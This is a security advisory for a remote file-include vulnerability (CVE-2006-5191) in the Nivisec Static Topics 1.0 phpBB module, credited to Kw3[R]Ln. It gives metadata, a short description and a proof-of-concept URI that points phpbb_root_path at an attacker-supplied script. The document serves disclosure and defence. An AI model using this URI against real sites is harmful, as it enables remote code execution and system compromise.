Nivisec Static Topics Module Functions_Static_Topics.PHP Remote File Include Vulnerability

Bugtraq ID:	20353
Class:	Input Validation Error
CVE:	CVE-2006-5191
Remote:	Yes
Local:	No
Published:	Oct 05 2006 12:00AM
Updated:	Jul 06 2007 08:47PM
Credit:	Kw3[R]Ln is credited with the discovery of this vulnerability.
Vulnerable:	Nivisec Static Topics 1.0
Not Vulnerable:

Nivisec Static Topics Module Functions_Static_Topics.PHP Remote File Include Vulnerability

The Nivisec Static Topics module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Nivisec Static Topics 1.0 and earlier versions.

Nivisec Static Topics Module Functions_Static_Topics.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]

Nivisec Static Topics Module Functions_Static_Topics.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Nivisec Static Topics Module Functions_Static_Topics.PHP Remote File Include Vulnerability

References:

• Nivisec Modules Home Page (Nivisec)